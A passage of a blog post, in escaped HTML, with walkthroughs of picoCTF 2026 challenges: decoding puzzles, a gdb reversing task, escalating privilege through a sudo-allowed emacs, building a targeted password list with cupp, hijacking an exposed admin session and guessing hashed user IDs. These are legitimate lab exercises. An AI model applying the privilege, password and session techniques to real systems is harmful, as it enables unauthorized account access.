&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; After&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; unzipping,&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; check&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; the&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; extracted&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; text&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; the&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; flag.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Seems like combine the files then unzip:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; part_aa&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; part_ab&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; part_ac&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; part_ad&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; part_ae&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; combined.zip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;unzip&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -P&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; supersecret&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; conbined.zip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; flag.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;sudo-make-me-a-sandwich&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#sudo-make-me-a-sandwich&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;SUDO MAKE ME A SANDWICH&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/735?category=5&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;After connecting&lt;/a&gt;, the home directory has another flag.txt—visible but untouchable. Use &lt;code&gt;sudo -l&lt;/code&gt; to see what’s available:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;ctf-player@challenge:~$&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;flag.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;ctf-player@challenge:~$&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -l&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;Matching&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; Defaults&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; entries&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; ctf-player&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; on&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; challenge:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;    env_reset,&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mail_badpass,&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; secure_path=/usr/local/sbin&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\:&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;/usr/local/bin&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\:&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;/usr/sbin&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\:&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;/usr/bin&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\:&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;/sbin&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\:&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;/bin&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\:&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;/snap/bin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; ctf-player&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; may&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; the&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; following&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; commands&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; on&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; challenge:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;ALL&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;NOPASSWD:&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /bin/emacs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Immediately there’s emacs:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /bin/emacs&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; flag.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open it and there’s the flag.&lt;/p&gt;
&lt;h2 id=&quot;password-profiler&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#password-profiler&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Password Profiler&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/712?category=5&amp;#x26;originalEvent=79&amp;#x26;page=2&quot;&gt;This challenge&lt;/a&gt; requires brute-forcing the password with a dictionary. The challenge gives personal info about someone. Look carefully at &lt;code&gt;check_password.py&lt;/code&gt;—it mentions a package called &lt;a href=&quot;https://github.com/Mebus/cupp&quot;&gt;cupp&lt;/a&gt;. Download and run it. It’ll ask questions—fill in the person’s name and info above, and it generates a password dictionary. Rename the generated passwords to &lt;code&gt;passwords.txt&lt;/code&gt;. Put it in the same folder as &lt;code&gt;check_password.py&lt;/code&gt; and run it—the flag appears.&lt;/p&gt;
&lt;h2 id=&quot;multi-code&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#multi-code&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Multi Code&lt;/h2&gt;
&lt;p&gt;After downloading &lt;a href=&quot;https://play.picoctf.org/practice/challenge/710?category=5&amp;#x26;originalEvent=79&amp;#x26;page=2&quot;&gt;the challenge’s&lt;/a&gt; &lt;code&gt;message.txt&lt;/code&gt;, it looks like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjM2MzY2ZjM1MzQzMjM1MzcyNTM3NDQ=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Take it to &lt;a href=&quot;https://cyberchef.org&quot;&gt;cyberchef&lt;/a&gt;. Since there are equals signs at the end, first guess Base64:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;637670625047532537426172666772715f72617030717661745f36366f3534323537253744&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks like strange numbers with ‘f’ in them—probably hex:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cvpbPGS%7Barfgrq_rap0qvat_66o54257%7D&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Progress! Try URL decode:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cvpbPGS{arfgrq_rap0qvat_66o54257}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The answer is clear—obviously ROT13:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;picoCTF{nested_enc0ding_66b54257}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s just a spirit communication contest, &lt;del&gt;Applied Math department required&lt;/del&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&quot;web&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#web&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Web&lt;/h1&gt;
&lt;h2 id=&quot;old-session&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#old-session&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Old Session&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/739?category=1&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;Enter&lt;/a&gt; and there’s a login interface. Open &lt;code&gt;F12&lt;/code&gt;—nothing in the HTML. Register an account and log in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/03/picoctf-2026/old_session.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Someone left a comment saying &lt;code&gt;/sessions&lt;/code&gt; has something weird? Let’s check it out!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/03/picoctf-2026/old_session-1.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It’s an admin session. Change yourself to admin, and you’ll see the flag.&lt;/p&gt;
&lt;h2 id=&quot;hashgate&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#hashgate&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Hashgate&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/750?category=1&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;This is a terrible problem&lt;/a&gt;. Enter and there’s another login screen. Find the login credentials in &lt;code&gt;F12&lt;/code&gt; HTML. After logging in, you notice your URL is the MD5 of an ID. What’s admin’s ID? Wrote a script brute-forcing from 0 to 3000—sadly none matched. Finally 3013 was admin_id. Try it.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&quot;reverse&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#reverse&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Reverse&lt;/h1&gt;
&lt;h2 id=&quot;gatekeeper&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#gatekeeper&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Gatekeeper&lt;/h2&gt;
&lt;p&gt;Put &lt;a href=&quot;https://play.picoctf.org/practice/challenge/731?category=3&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;the challenge’s&lt;/a&gt; binary into gdb:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; ./gatekeeper&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From this, to execute &lt;code&gt;call &amp;#x3C;reveal_flag&gt;&lt;/code&gt;, three conditions:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001647 &amp;#x3C;+200&gt;:   cmp    DWORD PTR [rbp-0x38],0x3e7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x000000000000164e &amp;#x3C;+207&gt;:   jg     0x165e &amp;#x3C;main+223&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001650 &amp;#x3C;+209&gt;:   lea    rdi,[rip+0xa2d]        # 0x2084&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001657 &amp;#x3C;+216&gt;:   call   0x1180 &amp;#x3C;puts@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x000000000000165c &amp;#x3C;+221&gt;:   jmp    0x1693 &amp;#x3C;main+276&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x000000000000165e &amp;#x3C;+223&gt;:   cmp    DWORD PTR [rbp-0x38],0x270f&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001665 &amp;#x3C;+230&gt;:   jle    0x1675 &amp;#x3C;main+246&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001667 &amp;#x3C;+232&gt;:   lea    rdi,[rip+0xa21]        # 0x208f&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x000000000000166e &amp;#x3C;+239&gt;:   call   0x1180 &amp;#x3C;puts@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001673 &amp;#x3C;+244&gt;:   jmp    0x1693 &amp;#x3C;main+276&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001675 &amp;#x3C;+246&gt;:   cmp    DWORD PTR [rbp-0x34],0x3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001679 &amp;#x3C;+250&gt;:   jne    0x1687 &amp;#x3C;main+264&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x000000000000167b &amp;#x3C;+252&gt;:   mov    eax,0x0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001680 &amp;#x3C;+257&gt;:   call   0x1449 &amp;#x3C;reveal_flag&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;DWORD PTR [rbp-0x38]&lt;/code&gt; must be greater than &lt;code&gt;0x3e7&lt;/code&gt; (999) to jump to the next comparison.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DWORD PTR [rbp-0x38]&lt;/code&gt; must be less than or equal to &lt;code&gt;0x270f&lt;/code&gt; (9999) to jump to the next comparison.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DWORD PTR [rbp-0x34]&lt;/code&gt; cannot equal 3—if it does, it jumps elsewhere.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So what are &lt;code&gt;DWORD PTR [rbp-0x38]&lt;/code&gt; and &lt;code&gt;DWORD PTR [rbp-0x34]&lt;/code&gt;?&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x00000000000015ff &amp;#x3C;+128&gt;:   call   0x1250 &amp;#x3C;atoi@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x0000000000001604 &amp;#x3C;+133&gt;:   mov    DWORD PTR [rbp-0x38],eax&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since atoi’s result is stored in &lt;code&gt;DWORD PTR [rbp-0x38]&lt;/code&gt;, it’s our input.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x00000000000015e0 &amp;#x3C;+97&gt;:    call   0x11b0 &amp;#x3C;strlen@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x00000000000015e5 &amp;#x3C;+102&gt;:   mov    DWORD PTR [rbp-0x34],eax&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It calls strlen and stores in &lt;code&gt;DWORD PTR [rbp-0x34]&lt;/code&gt;, so it’s the length.&lt;/p&gt;
&lt;p&gt;Conclusion: input length must equal three, value between 999 and 9999. Impossible in decimal, but possible in hex. Try values in that range:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}af5ftc_oc_ip7128ftc_oc_ipf_99ftc_oc_ip9_TGftc_oc_ip_xehftc_oc_ip_tigftc_oc_ipid_3ftc_oc_ip{FTCftc_oc_ipocipftc_oc_ip&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice this flag seems reversed:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;}af5ftc_oc_ip7128ftc_oc_ipf_99ftc_oc_ip9_TGftc_oc_ip_xehftc_oc_ip_tigftc_oc_ipid_3ftc_oc_ip{FTCftc_oc_ipocipftc_oc_ip&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt; rev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Get:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pi_co_ctfpicopi_co_ctfCTF{pi_co_ctf3_dipi_co_ctfgit_pi_co_ctfhex_pi_co_ctfGT_9pi_co_ctf99_fpi_co_ctf8217pi_co_ctf5fa}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A thing full of noise—if you can communicate with spirits, you’ll notice &lt;code&gt;pi_co_ctf&lt;/code&gt; is messing things up. Next command to eliminate it:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;pi_co_ctfpicopi_co_ctfCTF{pi_co_ctf3_dipi_co_ctfgit_pi_co_ctfhex_pi_co_ctfGT_9pi_co_ctf99_fpi_co_ctf8217pi_co_ctf5fa}&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt; sed&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;s/pi_co_ctf//g&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Done!&lt;/p&gt;
&lt;h2 id=&quot;hidden-cipher-1&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#hidden-cipher-1&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Hidden Cipher 1&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/745?category=3&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;This challenge&lt;/a&gt; gives you something at the start:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;235a201d70201548251358110c552f135409&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A mysterious string. If it’s encrypted, try XOR:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x23 ^ &apos;p&apos; (0x70) = 0x53 (&apos;S&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x5a ^ &apos;i&apos; (0x69) = 0x33 (&apos;3&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x20 ^ &apos;c&apos; (0x63) = 0x43 (&apos;C&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x1d ^ &apos;o&apos; (0x6f) = 0x72 (&apos;r&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x70 ^ &apos;C&apos; (0x43) = 0x33 (&apos;3&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0x20 ^ &apos;T&apos; (0x54) = 0x74 (&apos;t&apos;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Found the cyclic key. Next write a script to decode:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; itertools &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; cycle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;hex_data &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;235a201d702015483b1d412b265d3313501f0c072d135f0d2002302d01156a57224306172e&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;key &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;S3Cr3t&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;cipher_bytes &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; bytes&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;.fromhex(hex_data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Use zip and cycle for Bitwise XOR&lt;/span&gt;&lt;/span&gt;
